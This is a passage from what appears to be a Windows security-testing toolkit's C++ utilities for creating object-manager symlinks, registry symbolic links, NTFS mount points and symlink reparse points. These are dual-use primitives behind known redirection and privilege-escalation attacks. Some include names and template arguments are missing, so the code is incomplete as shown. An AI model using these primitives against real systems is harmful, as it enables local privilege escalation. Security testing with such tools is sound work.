| // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include "stdafx.h" 16 | #include "CommonUtils.h" 17 | #include "ntimports.h" 18 | 19 | HANDLE CreateSymlink(HANDLE root, LPCWSTR linkname, LPCWSTR targetname) 20 | { 21 | DEFINE_NTDLL(RtlInitUnicodeString); 22 | DEFINE_NTDLL(NtCreateSymbolicLinkObject); 23 | 24 | OBJECT_ATTRIBUTES objAttr; 25 | UNICODE_STRING name; 26 | UNICODE_STRING target; 27 | 28 | fRtlInitUnicodeString(&name, linkname); 29 | fRtlInitUnicodeString(&target, targetname); 30 | 31 | InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, root, nullptr); 32 | 33 | HANDLE hLink; 34 | 35 | NTSTATUS status = fNtCreateSymbolicLinkObject(&hLink, 36 | SYMBOLIC_LINK_ALL_ACCESS, &objAttr, &target); 37 | if (status == 0) 38 | { 39 | //DebugPrintf("Opened Link %ls -> %ls: %p\n", linkname, targetname, hLink); 40 | return hLink; 41 | } 42 | else 43 | { 44 | SetLastError(NtStatusToDosError(status)); 45 | return nullptr; 46 | } 47 | } 48 | 49 | HANDLE OpenSymlink(HANDLE root, LPCWSTR linkname) 50 | { 51 | DEFINE_NTDLL(RtlInitUnicodeString); 52 | DEFINE_NTDLL(NtOpenSymbolicLinkObject); 53 | 54 | OBJECT_ATTRIBUTES objAttr; 55 | UNICODE_STRING name; 56 | 57 | fRtlInitUnicodeString(&name, linkname); 58 | 59 | InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, root, nullptr); 60 | 61 | HANDLE hLink; 62 | 63 | NTSTATUS status = fNtOpenSymbolicLinkObject(&hLink, 64 | SYMBOLIC_LINK_ALL_ACCESS, &objAttr); 65 | if (status == 0) 66 | { 67 | return hLink; 68 | } 69 | else 70 | { 71 | SetLastError(NtStatusToDosError(status)); 72 | return nullptr; 73 | } 74 | } -------------------------------------------------------------------------------- /CommonUtils/RegistrySymlink.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2015 Google Inc. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http ://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include "stdafx.h" 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include "CommonUtils.h" 21 | 22 | #define INTERNAL_REG_OPTION_CREATE_LINK (0x00000002L) 23 | #define INTERNAL_REG_OPTION_OPEN_LINK (0x00000100L) 24 | 25 | typedef NTSTATUS(__stdcall *fNtCreateKey)( 26 | PHANDLE KeyHandle, 27 | ULONG DesiredAccess, 28 | POBJECT_ATTRIBUTES ObjectAttributes, 29 | ULONG TitleIndex, 30 | PUNICODE_STRING Class, 31 | ULONG CreateOptions, 32 | PULONG Disposition 33 | ); 34 | 35 | typedef NTSTATUS (__stdcall *fNtOpenKeyEx)( 36 | PHANDLE KeyHandle, 37 | ACCESS_MASK DesiredAccess, 38 | POBJECT_ATTRIBUTES ObjectAttributes, 39 | ULONG OpenOptions 40 | ); 41 | 42 | 43 | typedef NTSTATUS(__stdcall *fNtSetValueKey)( 44 | HANDLE KeyHandle, 45 | PUNICODE_STRING ValueName, 46 | ULONG TitleIndex, 47 | ULONG Type, 48 | PVOID Data, 49 | ULONG DataSize 50 | ); 51 | 52 | typedef NTSTATUS(__stdcall *fNtDeleteKey)( 53 | HANDLE KeyHandle 54 | ); 55 | 56 | typedef NTSTATUS(__stdcall *fNtClose)( 57 | HANDLE Handle 58 | ); 59 | 60 | FARPROC GetProcAddressNT(LPCSTR lpName); 61 | 62 | typedef VOID(NTAPI *fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); 63 | 64 | static bstr_t GetUserSid() 65 | { 66 | HANDLE hToken; 67 | 68 | OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken); 69 | 70 | DWORD dwSize; 71 | 72 | GetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize); 73 | 74 | std::vector userbuffer(dwSize); 75 | 76 | GetTokenInformation(hToken, TokenUser, &userbuffer[0], dwSize, &dwSize); 77 | 78 | PTOKEN_USER user = reinterpret_cast(&userbuffer[0]); 79 | 80 | LPWSTR lpUser; 81 | bstr_t ret = L""; 82 | 83 | if (ConvertSidToStringSid(user->User.Sid, &lpUser)) 84 | { 85 | ret = lpUser; 86 | LocalFree(lpUser); 87 | } 88 | 89 | return ret; 90 | } 91 | 92 | static bstr_t RegPathToNative(LPCWSTR lpPath) 93 | { 94 | bstr_t regpath = L"\\Registry\\"; 95 | 96 | // Already native rooted 97 | if (lpPath[0] == '\\') 98 | { 99 | return lpPath; 100 | } 101 | 102 | if (_wcsnicmp(lpPath, L"HKLM\\", 5) == 0) 103 | { 104 | return regpath + L"Machine\\" + &lpPath[5]; 105 | } 106 | else if (_wcsnicmp(lpPath, L"HKU\\", 4) == 0) 107 | { 108 | return regpath + L"User\\" + &lpPath[4]; 109 | } 110 | else if (_wcsnicmp(lpPath, L"HKCU\\", 5) == 0) 111 | { 112 | return regpath + L"User\\" + GetUserSid() + L"\\" + &lpPath[5]; 113 | } 114 | else 115 | { 116 | DebugPrintf("Registry path %ls must be absolute or start with HKLM, HKU or HKCU\n"); 117 | return L""; 118 | } 119 | } 120 | 121 | bool CreateRegSymlink(LPCWSTR lpSymlink, LPCWSTR lpTarget, bool bVolatile) 122 | { 123 | bstr_t symlink = RegPathToNative(lpSymlink); 124 | bstr_t target = RegPathToNative(lpTarget); 125 | 126 | if (symlink.length() == 0 || target.length() == 0) 127 | { 128 | return false; 129 | } 130 | 131 | DebugPrintf("Creating registry link from %ls to %ls\n", symlink.GetBSTR(), target.GetBSTR()); 132 | 133 | fNtCreateKey pfNtCreateKey = (fNtCreateKey)GetProcAddressNT("NtCreateKey"); 134 | fNtSetValueKey pfNtSetValueKey = (fNtSetValueKey)GetProcAddressNT("NtSetValueKey"); 135 | fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT("RtlInitUnicodeString"); 136 | 137 | OBJECT_ATTRIBUTES obj_attr; 138 | UNICODE_STRING name; 139 | 140 | pfRtlInitUnicodeString(&name, symlink); 141 | InitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr); 142 | HANDLE hKey; 143 | ULONG disposition; 144 | 145 | NTSTATUS status = pfNtCreateKey(&hKey, KEY_ALL_ACCESS, &obj_attr, 0, nullptr, 146 | INTERNAL_REG_OPTION_CREATE_LINK | (bVolatile ? REG_OPTION_VOLATILE : REG_OPTION_NON_VOLATILE), &disposition); 147 | 148 | if (status == 0) 149 | { 150 | UNICODE_STRING value_name; 151 | 152 | pfRtlInitUnicodeString(&value_name, L"SymbolicLinkValue"); 153 | 154 | status = pfNtSetValueKey(hKey, &value_name, 0, REG_LINK, target.GetBSTR(), target.length() * sizeof(WCHAR)); 155 | CloseHandle(hKey); 156 | 157 | if (status != 0) 158 | { 159 | SetLastError(NtStatusToDosError(status)); 160 | return false; 161 | } 162 | } 163 | else 164 | { 165 | SetLastError(NtStatusToDosError(status)); 166 | return false; 167 | } 168 | 169 | return true; 170 | } 171 | 172 | bool DeleteRegSymlink(LPCWSTR lpSymlink) 173 | { 174 | fNtOpenKeyEx pfNtOpenKeyEx = (fNtOpenKeyEx)GetProcAddressNT("NtOpenKeyEx"); 175 | fNtDeleteKey pfNtDeleteKey = (fNtDeleteKey)GetProcAddressNT("NtDeleteKey"); 176 | fRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT("RtlInitUnicodeString"); 177 | 178 | OBJECT_ATTRIBUTES obj_attr; 179 | UNICODE_STRING name; 180 | 181 | bstr_t symlink = RegPathToNative(lpSymlink); 182 | 183 | if (symlink.length() == 0) 184 | { 185 | return false; 186 | } 187 | 188 | pfRtlInitUnicodeString(&name, symlink); 189 | 190 | InitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE | OBJ_OPENLINK, nullptr, nullptr); 191 | 192 | HANDLE hKey; 193 | NTSTATUS status = pfNtOpenKeyEx(&hKey, DELETE, &obj_attr, 0); 194 | if (status == 0) 195 | { 196 | status = pfNtDeleteKey(hKey); 197 | CloseHandle(hKey); 198 | 199 | if (status != 0) 200 | { 201 | SetLastError(NtStatusToDosError(status)); 202 | return false; 203 | } 204 | } 205 | else 206 | { 207 | SetLastError(NtStatusToDosError(status)); 208 | 209 | return false; 210 | } 211 | 212 | return true; 213 | } -------------------------------------------------------------------------------- /CommonUtils/ReparsePoint.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2015 Google Inc. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http ://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include "stdafx.h" 16 | #include "ReparsePoint.h" 17 | #include "ScopedHandle.h" 18 | #include "typed_buffer.h" 19 | #include 20 | #include 21 | 22 | // Taken from ntifs.h 23 | #define SYMLINK_FLAG_RELATIVE 1 24 | 25 | typedef struct _REPARSE_DATA_BUFFER { 26 | ULONG ReparseTag; 27 | USHORT ReparseDataLength; 28 | USHORT Reserved; 29 | union { 30 | struct { 31 | USHORT SubstituteNameOffset; 32 | USHORT SubstituteNameLength; 33 | USHORT PrintNameOffset; 34 | USHORT PrintNameLength; 35 | ULONG Flags; 36 | WCHAR PathBuffer[1]; 37 | } SymbolicLinkReparseBuffer; 38 | struct { 39 | USHORT SubstituteNameOffset; 40 | USHORT SubstituteNameLength; 41 | USHORT PrintNameOffset; 42 | USHORT PrintNameLength; 43 | WCHAR PathBuffer[1]; 44 | } MountPointReparseBuffer; 45 | struct { 46 | UCHAR DataBuffer[1]; 47 | } GenericReparseBuffer; 48 | } DUMMYUNIONNAME; 49 | } REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER; 50 | 51 | #define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer) 52 | 53 | #define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L) // winnt 54 | #define IO_REPARSE_TAG_HSM (0xC0000004L) // winnt 55 | #define IO_REPARSE_TAG_DRIVE_EXTENDER (0x80000005L) 56 | #define IO_REPARSE_TAG_HSM2 (0x80000006L) // winnt 57 | #define IO_REPARSE_TAG_SIS (0x80000007L) // winnt 58 | #define IO_REPARSE_TAG_WIM (0x80000008L) // winnt 59 | #define IO_REPARSE_TAG_CSV (0x80000009L) // winnt 60 | #define IO_REPARSE_TAG_DFS (0x8000000AL) // winnt 61 | #define IO_REPARSE_TAG_FILTER_MANAGER (0x8000000BL) 62 | #define IO_REPARSE_TAG_SYMLINK (0xA000000CL) // winnt 63 | #define IO_REPARSE_TAG_IIS_CACHE (0xA0000010L) 64 | #define IO_REPARSE_TAG_DFSR (0x80000012L) // winnt 65 | #define IO_REPARSE_TAG_DEDUP (0x80000013L) // winnt 66 | #define IO_REPARSE_TAG_APPXSTRM (0xC0000014L) 67 | #define IO_REPARSE_TAG_NFS (0x80000014L) // winnt 68 | #define IO_REPARSE_TAG_FILE_PLACEHOLDER (0x80000015L) // winnt 69 | #define IO_REPARSE_TAG_DFM (0x80000016L) 70 | #define IO_REPARSE_TAG_WOF (0x80000017L) // winnt 71 | 72 | static int g_last_error = 0; 73 | 74 | int ReparsePoint::GetLastError() 75 | { 76 | return g_last_error; 77 | } 78 | 79 | ScopedHandle OpenReparsePoint(const std::wstring& path, bool writable) 80 | { 81 | HANDLE h = CreateFile(path.c_str(), 82 | GENERIC_READ | (writable ? GENERIC_WRITE : 0), 83 | 0, 84 | 0, 85 | OPEN_EXISTING, 86 | FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT, 87 | 0); 88 | 89 | if (h == INVALID_HANDLE_VALUE) 90 | { 91 | g_last_error = GetLastError(); 92 | } 93 | 94 | return ScopedHandle(h, false); 95 | } 96 | 97 | static bool SetReparsePoint(const ScopedHandle& handle, typed_buffer_ptr& reparse_buffer) 98 | { 99 | DWORD cb; 100 | if (!handle.IsValid()) { 101 | return false; 102 | } 103 | 104 | bool ret = DeviceIoControl(handle, FSCTL_SET_REPARSE_POINT, 105 | reparse_buffer, reparse_buffer.size(), nullptr, 0, &cb, nullptr) == TRUE; 106 | if (!ret) 107 | { 108 | g_last_error = GetLastError(); 109 | } 110 | 111 | return ret; 112 | } 113 | 114 | static bool DeleteReparsePoint(const ScopedHandle& handle, PREPARSE_GUID_DATA_BUFFER reparse_buffer) 115 | { 116 | DWORD cb; 117 | if (!handle.IsValid()) { 118 | return false; 119 | } 120 | 121 | bool ret = DeviceIoControl(handle, 122 | FSCTL_DELETE_REPARSE_POINT, 123 | reparse_buffer, 124 | REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, 125 | nullptr, 126 | 0, 127 | &cb, 128 | 0) == TRUE; 129 | 130 | if (!ret) 131 | { 132 | g_last_error = GetLastError(); 133 | } 134 | 135 | return ret; 136 | } 137 | 138 | typed_buffer_ptr BuildMountPoint(const std::wstring& target, const std::wstring& printname) 139 | { 140 | const size_t target_byte_size = target.size() * 2; 141 | const size_t printname_byte_size = printname.size() * 2; 142 | const size_t path_buffer_size = target_byte_size + printname_byte_size + 8 + 4; 143 | const size_t total_size = path_buffer_size + REPARSE_DATA_BUFFER_HEADER_LENGTH; 144 | typed_buffer_ptr buffer(total_size); 145 | 146 | buffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; 147 | buffer->ReparseDataLength = static_cast(path_buffer_size); 148 | buffer->Reserved = 0; 149 | 150 | buffer->MountPointReparseBuffer.SubstituteNameOffset = 0; 151 | buffer->MountPointReparseBuffer.SubstituteNameLength = static_cast(target_byte_size); 152 | memcpy(buffer->MountPointReparseBuffer.PathBuffer, target.c_str(), target_byte_size + 2); 153 | buffer->MountPointReparseBuffer.PrintNameOffset = static_cast(target_byte_size + 2); 154 | buffer->MountPointReparseBuffer.PrintNameLength = static_cast(printname_byte_size); 155 | memcpy(buffer->MountPointReparseBuffer.PathBuffer + target.size() + 1, printname.c_str(), printname_byte_size + 2); 156 | 157 | return buffer; 158 | } 159 | 160 | typed_buffer_ptr BuildSymlink(const std::wstring& target, const std::wstring& printname, bool relative) 161 | { 162 | const size_t target_byte_size = target.size() * 2; 163 | const size_t printname_byte_size = printname.size() * 2; 164 | const size_t path_buffer_size = target_byte_size + printname_byte_size + 12 + 4; 165 | const size_t total_size = path_buffer_size + REPARSE_DATA_BUFFER_HEADER_LENGTH; 166 | typed_buffer_ptr buffer(total_size); 167 | 168 | buffer->ReparseTag = IO_REPARSE_TAG_SYMLINK; 169 | buffer->ReparseDataLength = static_cast(path_buffer_size); 170 | buffer->Reserved = 0; 171 | 172 | buffer->SymbolicLinkReparseBuffer.SubstituteNameOffset = 0; 173 | buffer->SymbolicLinkReparseBuffer.SubstituteNameLength = static_cast(target_byte_size); 174 | memcpy(buffer->SymbolicLinkReparseBuffer.PathBuffer, target.c_str(), target_byte_size + 2); 175 | buffer->SymbolicLinkReparseBuffer.PrintNameOffset = static_cast(target_byte_size + 2); 176 | buffer->SymbolicLinkReparseBuffer.PrintNameLength = static_cast(printname_byte_size); 177 | memcpy(buffer->SymbolicLinkReparseBuffer.PathBuffer + target.size() + 1, printname.c_str(), printname_byte_size + 2); 178 | buffer->SymbolicLinkReparseBuffer.Flags = relative ? SYMLINK_FLAG_RELATIVE : 0; 179 | 180 | return buffer; 181 | } 182 | 183 | static bool CreateMountPointInternal(const std::wstring& path, typed_buffer_ptr& buffer) 184 | { 185 | ScopedHandle handle = OpenReparsePoint(path, true); 186 | 187 | if (!handle.IsValid()) 188 | { 189 | return false; 190 | } 191 | 192 | return SetReparsePoint(handle, buffer); 193 | } 194 | 195 | static bool CreateMountPointInternal(const ScopedHandle& handle, typed_buffer_ptr& buffer) 196 | { 197 | return SetReparsePoint(handle, buffer); 198 | } 199 | 200 | std::wstring FixupPath(std::wstring str) 201 | { 202 | if (str[0] != '\\') 203 | { 204 | return L"\\??\\" + str; 205 | } 206 | 207 | return str; 208 | } 209 | 210 | bool ReparsePoint::CreateMountPoint(const std::wstring& path, const std::wstring& target, const std::wstring& printname) 211 | { 212 | if (target.length() == 0) 213 | { 214 | return false; 215 | } 216 | 217 | return CreateMountPointInternal(path, BuildMountPoint(FixupPath(target), printname)); 218 | } 219 | 220 | bool ReparsePoint::CreateSymlink(const std::wstring& path, const std::wstring& target, const std::wstring& printname, bool relative) 221 | { 222 | if (target.length() == 0) 223 | { 224 | return false; 225 | } 226 | 227 | return CreateMountPointInternal(path, BuildSymlink(!relative ? FixupPath(target) : target, printname, relative)); 228 | } 229 | 230 | bool ReparsePoint::CreateSymlink(HANDLE h, const std::wstring& target, const std::wstring& printname, bool relative) 231 | { 232 | ScopedHandle handle(h, true); 233 | 234 | if (!handle.IsValid()) 235 | { 236 | return false; 237 | } 238 | 239 | return CreateMountPointInternal(handle, BuildSymlink(!relative ? FixupPath(target) : target, printname, relative)); 240 | } 241 | 242 | bool ReparsePoint::DeleteMountPoint(const std::wstring& path) 243 | { 244 | REPARSE_GUID_DATA_BUFFER reparse_buffer = { 0 }; 245 | reparse_buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; 246 | 247 | ScopedHandle handle = OpenReparsePoint(path, true); 248 | 249 | return DeleteReparsePoint(handle, &reparse_buffer); 250 | } 251 | 252 | bool ReparsePoint::CreateRawMountPoint(const std::wstring& path, DWORD reparse_tag, const std::vector& buffer) 253 | { 254 | typed_buffer_ptr reparse_buffer(8 + buffer.size()); 255 | 256 | reparse_buffer->ReparseTag = reparse_tag; 257 | reparse_buffer->ReparseDataLength = static_cast(buffer.size()); 258 | reparse_buffer->Reserved = 0; 259 | memcpy(reparse_buffer->GenericReparseBuffer.DataBuffer, &buffer[0], buffer.size()); 260 | 261 | return CreateMountPointInternal(path, reparse_buffer); 262 | } 263 | 264 | static typed_buffer_ptr GetReparsePointData(ScopedHandle handle) 265 | { 266 | typed_buffer_ptr buf(MAXIMUM_REPARSE_DATA_BUFFER_SIZE); 267 | 268 | DWORD dwBytesReturned; 269 | if (!DeviceIoControl(handle, 270 | FSCTL_GET_REPARSE_POINT, 271 | NULL, 272 | 0, 273 | (LPVOID)buf, 274 | buf.size(), 275 | &dwBytesReturned, 276 | 0) 277 | ) 278 | { 279 | g_last_error = GetLastError(); 280 | buf.reset(0); 281 | } 282 | 283 | return buf; 284 | } 285 | 286 | std::wstring ReparsePoint::GetMountPointTarget(const std::wstring& path) 287 | { 288 | ScopedHandle handle = OpenReparsePoint(path, false); 289 | if (!handle.IsValid()) 290 | { 291 | return L""; 292 | } 293 | 294 | typed_buffer_ptr buf = GetReparsePointData(handle); 295 | 296 | if (buf.size() == 0) 297 | { 298 | return L""; 299 | } 300 | 301 | if (buf->ReparseTag != IO_REPARSE_TAG_MOUNT_POINT) 302 | { 303 | g_last_error = ERROR_REPARSE_TAG_MISMATCH; 304 | return L""; 305 | } 306 | 307 | WCHAR* base = &buf->MountPointReparseBuffer.PathBuffer[buf->MountPointReparseBuffer.SubstituteNameOffset / 2]; 308 | 309 | return std::wstring(base, base + (buf->MountPointReparseBuffer.SubstituteNameLength / 2)); 310 | } 311 | 312 | bool ReparsePoint::IsReparsePoint(const std::wstring& path) 313 | { 314 | ScopedHandle handle = OpenReparsePoint(path, false); 315 | BY_HANDLE_FILE_INFORMATION file_info = { 0 }; 316 | 317 | return handle.IsValid() && GetFileInformationByHandle(handle, &file_info) && file_info.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT; 318 | } 319 | 320 | static bool ReadReparsePoint(const std::wstring& path, typed_buffer_ptr& reparse_buffer) 321 | { 322 | ScopedHandle handle = OpenReparsePoint(path, false); 323 | reparse_buffer.reset(4096); 324 | DWORD dwSize; 325 | 326 | bool ret = DeviceIoControl(handle, FSCTL_GET_REPARSE_POINT, nullptr, 0, reparse_buffer, reparse_buffer.size(), &dwSize, nullptr) == TRUE; 327 | if (!ret) 328 | { 329 | g_last_error = GetLastError(); 330 | return false; 331 | } 332 | else 333 | { 334 | reparse_buffer.resize(dwSize); 335 | return true; 336 | } 337 | } 338 | 339 | static bool IsReparseTag(const std::wstring& path, DWORD reparse_tag) 340 | { 341 | typed_buffer_ptr buffer; 342 | 343 | if (ReadReparsePoint(path, buffer)) 344 | { 345 | return buffer->ReparseTag == reparse_tag; 346 | } 347 | else 348 | { 349 | return false; 350 | } 351 | } 352 | 353 | bool ReparsePoint::IsMountPoint(const std::wstring& path) 354 | { 355 | return IsReparseTag(path, IO_REPARSE_TAG_MOUNT_POINT); 356 | } 357 | 358 | bool ReparsePoint::IsSymlink(const std::wstring& path) 359 | { 360 | return IsReparseTag(path, IO_REPARSE_TAG_SYMLINK); 361 | } 362 | 363 | bool ReparsePoint::ReadMountPoint(const std::wstring& path, std::wstring& target, std::wstring& printname) 364 | { 365 | typed_buffer_ptr buffer; 366 | 367 | if (ReadReparsePoint(path, buffer) && buffer->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT) 368 | { 369 | WCHAR* target_name = &buffer->MountPointReparseBuffer.PathBuffer[buffer->MountPointReparseBuffer.SubstituteNameOffset / 2]; 370 | WCHAR* display_name = &buffer->MountPointReparseBuffer.PathBuffer[buffer->MountPointReparseBuffer.PrintNameOffset / 2]; 371 | target.assign(target_name, target_name + buffer->MountPointReparseBuffer.SubstituteNameLength / 2); 372 | printname.assign(display_name, display_name + buffer->MountPointReparseBuffer.PrintNameLength / 2); 373 | return true; 374 | } 375 | else 376 | { 377 | return false; 378 | } 379 | } 380 | 381 | bool ReparsePoint::ReadSymlink(const std::wstring& path, std::wstring& target, std::wstring& printname, unsigned int* flags) 382 | { 383 | typed_buffer_ptr buffer; 384 | 385 | if (ReadReparsePoint(path, buffer) && buffer->ReparseTag == IO_REPARSE_TAG_SYMLINK) 386 | { 387 | WCHAR* target_name = &buffer->SymbolicLinkReparseBuffer.PathBuffer[buffer->SymbolicLinkReparseBuffer.SubstituteNameOffset / 2]; 388 | WCHAR* display_name = &buffer->SymbolicLinkReparseBuffer.PathBuffer[buffer->SymbolicLinkReparseBuffer.PrintNameOffset / 2]; 389 | target.assign(target_name, target_name + buffer->SymbolicLinkReparseBuffer.SubstituteNameLength / 2); 390 | printname.assign(display_name, display_name + buffer->SymbolicLinkReparseBuffer.PrintNameLength / 2); 391 | *flags = buffer->SymbolicLinkReparseBuffer.Flags; 392 | return true; 393 | } 394 | else 395 | { 396 | return false; 397 | } 398 | } 399 | 400 | bool ReparsePoint::ReadRaw(const std::wstring& path, unsigned int* reparse_tag, std::vector& raw_data) 401 | { 402 | typed_buffer_ptr buffer; 403 | 404 | if (ReadReparsePoint(path, buffer)) 405 | { 406 | *reparse_tag = buffer->ReparseTag; 407 | raw_data.resize(buffer->ReparseDataLength); 408 | memcpy(&raw_data[0], buffer->GenericReparseBuffer.DataBuffer, buffer->ReparseDataLength); 409 | return true; 410 | } 411 | else 412 | { 413 | return false; 414 | } 415 | 416 | return false; 417 | } 418 | -------------------------------------------------------------------------------- /CommonUtils/ReparsePoint.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | class ReparsePoint 7 | { 8 | public: 9 | 10 | static bool CreateMountPoint(const std::wstring& path, const std::wstring& target, const std::wstring& printname); 11 | static bool DeleteMountPoint(const std::wstring& path); 12 | static std::wstring GetMountPointTarget(const std::wstring& path); 13 | static bool CreateRawMountPoint(const std::wstring& path, DWORD reparse_tag, const std::vector& buffer); 14 | static bool IsMountPoint(const std::wstring& path); 15 | static bool IsSymlink(const std::wstring& path); 16 | static bool ReadMountPoint(const std::wstring& path, std::wstring& target, std::wstring& printname); 17 | static bool ReadSymlink(const std::wstring& path, std::wstring& target, std::wstring& printname, unsigned int* flags); 18 | static bool ReadRaw(const std::wstring& path, unsigned int* reparse_tag, std::vector& raw_data); 19 | static bool IsReparsePoint(const std::wstring& path); 20 | static bool CreateSymlink(const std::wstring& path, const std::wstring& target, const std::wstring& printname, bool relative); 21 | static bool CreateSymlink(HANDLE h, const std::wstring& target, const std::wstring& printname, bool relative); 22 | 23 | static int GetLastError(); 24 | }; 25 | 26 | -------------------------------------------------------------------------------- /CommonUtils/ScopedHandle.cpp: -------------------------------------------------------------------------------- 1 | // Copyright 2015 Google Inc. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http ://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | #include "stdafx.h" 16 | #include "ScopedHandle.h" 17 | 18 | static HANDLE Duplicate(HANDLE h) 19 | { 20 | HANDLE dup; 21 | 22 | if ((h == INVALID_HANDLE_VALUE) || !DuplicateHandle(GetCurrentProcess(), h, GetCurrentProcess(), &dup, 0, FALSE, DUPLICATE_SAME_ACCESS)) 23 | { 24 | return nullptr; 25 | } 26 | else 27 | { 28 | return dup; 29 | } 30 | } 31 | 32 | ScopedHandle::ScopedHandle(HANDLE h, bool duplicate) 33 | { 34 | if (duplicate) 35 | { 36 | g_h = Duplicate(h); 37 | } 38 | else 39 | { 40 | g_h = h; 41 | } 42 | } 43 | 44 | ScopedHandle::ScopedHandle(const ScopedHandle& other) 45 | { 46 | g_h = Duplicate(other.g_h); 47 | } 48 | 49 | ScopedHandle& ScopedHandle::operator=(const ScopedHandle& other) 50 | { 51 | if (this != &other) 52 | { 53 | g_h = Duplicate(other.g_h); 54 | } 55 | 56 | return *this; 57 | } 58 | 59 | ScopedHandle::ScopedHandle(ScopedHandle&& other) 60 | { 61 | g_h = other.g_h; 62 | other.g_h = nullptr; 63 | } 64 | 65 | ScopedHandle& ScopedHandle::operator=(ScopedHandle&& other) 66 | { 67 | if (this != &other) 68 | { 69 | g_h = other.g_h; 70 | other.g_h = nullptr; 71 | } 72 | 73 | return *this; 74 | } 75 | 76 | void ScopedHandle::Close() 77 | { 78 | if (IsValid()) 79 | { 80 | CloseHandle(g_h); 81 | g_h = nullptr; 82 | } 83 | } 84 | 85 | void ScopedHandle::Reset(HANDLE h) 86 | { 87 | Close(); 88 | g_h = h; 89 | } 90 | 91 | ScopedHandle::~ScopedHandle() 92 | { 93 | Close(); 94 | } 95 | -------------------------------------------------------------------------------- /CommonUtils/ScopedHandle.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | class ScopedHandle 3 | { 4 | HANDLE g_h; 5 | 6 | public: 7 | ScopedHandle(HANDLE h, bool duplicate); 8 | void Close(); 9 | void Reset(HANDLE h); 10 | bool IsValid() const { 11 | return (g_h != nullptr) && (g_h != INVALID_HANDLE_VALUE); 12 | } 13 | ScopedHandle(const ScopedHandle& other); 14 | ScopedHandle& operator=(const ScopedHandle& other); 15 | 16 | ScopedHandle(ScopedHandle&& other); 17 | ScopedHandle& operator=(ScopedHandle&& other); 18 | 19 | operator HANDLE() const { 20 | return g_h; 21 | } 22 | 23 | ~ScopedHandle(); 24 | }; 25 | 26 | -------------------------------------------------------------------------------- /CommonUtils/ntimports.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #define DIRECTORY_QUERY 0x0001 7 | #define DIRECTORY_TRAVERSE 0x0002 8 | #define DIRECTORY_CREATE_OBJECT 0x0004 9 | #define DIRECTORY_CREATE_SUBDIRECTORY 0x0008 10 | #define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) 11 | 12 | typedef NTSTATUS(NTAPI *_NtCreateDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 13 | typedef NTSTATUS(NTAPI *_NtCreateDirectoryObjectEx)(PHANDLE Handle, ACCESS_MASK DesiredAccess, 14 | POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ShadowDir, BOOLEAN Something); 15 | typedef NTSTATUS(NTAPI *_NtOpenDirectoryObject)(PHANDLE Handle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 16 | typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); 17 | 18 | #define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) 19 | 20 | typedef NTSTATUS(NTAPI* _NtCreateSymbolicLinkObject)(PHANDLE LinkHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING TargetName); 21 | typedef NTSTATUS(NTAPI* _NtOpenSymbolicLinkObject)(PHANDLE 